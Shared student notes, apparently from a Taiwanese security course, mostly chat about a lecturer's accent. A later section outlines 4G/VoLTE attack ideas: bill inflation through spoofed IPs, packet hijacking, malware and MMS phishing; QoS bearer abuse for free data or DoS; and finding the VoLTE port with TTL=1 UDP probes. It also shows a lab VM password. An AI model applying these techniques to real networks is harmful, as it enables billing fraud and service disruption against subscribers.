  • regexr 可以練習正規表達式

qq髒髒
QQ真的髒,安裝過一次後發現連帶其他有的沒的立馬解除安裝並掃毒
香港組長?州長?署長?
我要習慣香港口音QQ
剛剛他說啥?!好想作筆記可是聽不懂QQ

剛剛他講什麼鑑識工具?
謝大大<(_ _)>
他是不是la發成ta?
 打字速度慢 筆記gg
 講英文好像還比較好一點QQ
 有時講英文比較ok
 我反而聽不懂他的普通話
香港人講話都差不多這樣,我聽過很多香港人的口音
他剛試要說push但講成presh?
我有些字詞都聽不懂有點難受QQ
Cheatsheet聽成去去
我聽成 氣氣 (黑人問號
誰可以用中文重新組織一下剛剛那段
電話號碼嗎XD?
這段我懂!
什麼東西兩次?
em

好像是混淆兩次的樣子

我好希望有遙控器來倒轉好幾次喔 金凱瑞救我QQ
金凱瑞是誰?
金carry
所以是誰求拜XD <(_ _)>
獨孤求拜
樓上來教教我們
實不相瞞我也聽不懂
說錯 是亞當·山德勒
我只知道獲得了新工具,不知道怎麼應用就是了
我本來想錄音,可是那口音我覺得回去也聽不懂ˊAˋ
前幾天課程有些有錄
 我只好來meow meow叫了 meow~
 
以下這段開放叫聲(?


Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
moo~ (翻譯: 剛剛發生什麼事?)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
What?! Whate? Whate?
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
~meow
:metal:


作個問券好了,這堂課大家聽得懂幾%? (直接填)

  • 1. 20%
  • 2. 0.5%
  • 3.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 4.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 5.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 6.
  • 7.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 8.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 9.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 10.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 11.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • 12.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →




我很需要七天輪迴來消化消化
或是 za warudo!

資安路上有你有我,大家來作伙一同前進,交個冰友~
需要同儕帶給我動力
我們可先練打字,一起加速
打字不夠快?邊玩遊戲邊聊天就可以練成了

8/4 (六) 14:00 - 17:00

  • 講師 : 李奇育 交通大學資工系
  • 4G 行動網路安全之潛在風險與檢測

VM密碼:nctu

VM

感恩唷

剩最後一堂囉
感覺final ctf 我會打很慘耶QQ
隨緣隨緣 我佛系解題 不連網 不google 自然有flagˊ_>ˋ
u 點好奇 VoIP 跟 VoLTE 的差別

  • 行動網路特性

    • 中心化 相對一般網路distribute
    • 需要sim卡才能access
    • VoLTE - 直接提供語音service
  • 標準 3GPP

  • 讓你帳單爆掉的四大方法

    • 1.偽造你的IP傳送數據
    • 2.利用SKYPE通話時瞬間掛斷後截持通話的封包來夾帶垃圾訊息
    • 3.利用惡意程式
    • 4.用多媒體簡訊寄送釣魚連結
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
      >
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • IPSec

  • VoLTE可能安全威脅

    • 通話時間計費機制
      • 資料封包可以隨便送?
      • 免費上網
    • 高服務品質的承載 (QoS高)
      • 資料封包可能取得高優先級,卻不需額外費用
      • 可以擠掉其他要用網路的人
      • Dos
    • VoLTE 的封包直接從 Modem 產生
      • 用 port 分 bearer
      • 利用 QoS 從RTT時間找 port
      • 用 app 塞垃圾給 voice bearer 達到消音之類的(?

https://hackmd.io/n8S73GHzTl6A3OAcCAyBFg#

上面是中區的共筆暫存

  • 實作一

    • 送 UDP TTL = 1 讓 router 回
    • 那個回很快的 port 就是 VoLTE 用的port
  • CS Gateway未來會被PS Gateway取代

  • SIP 標準 - RFC3428

邊緣人救星
沒了 上patch了

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Welcome!!
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Select a repo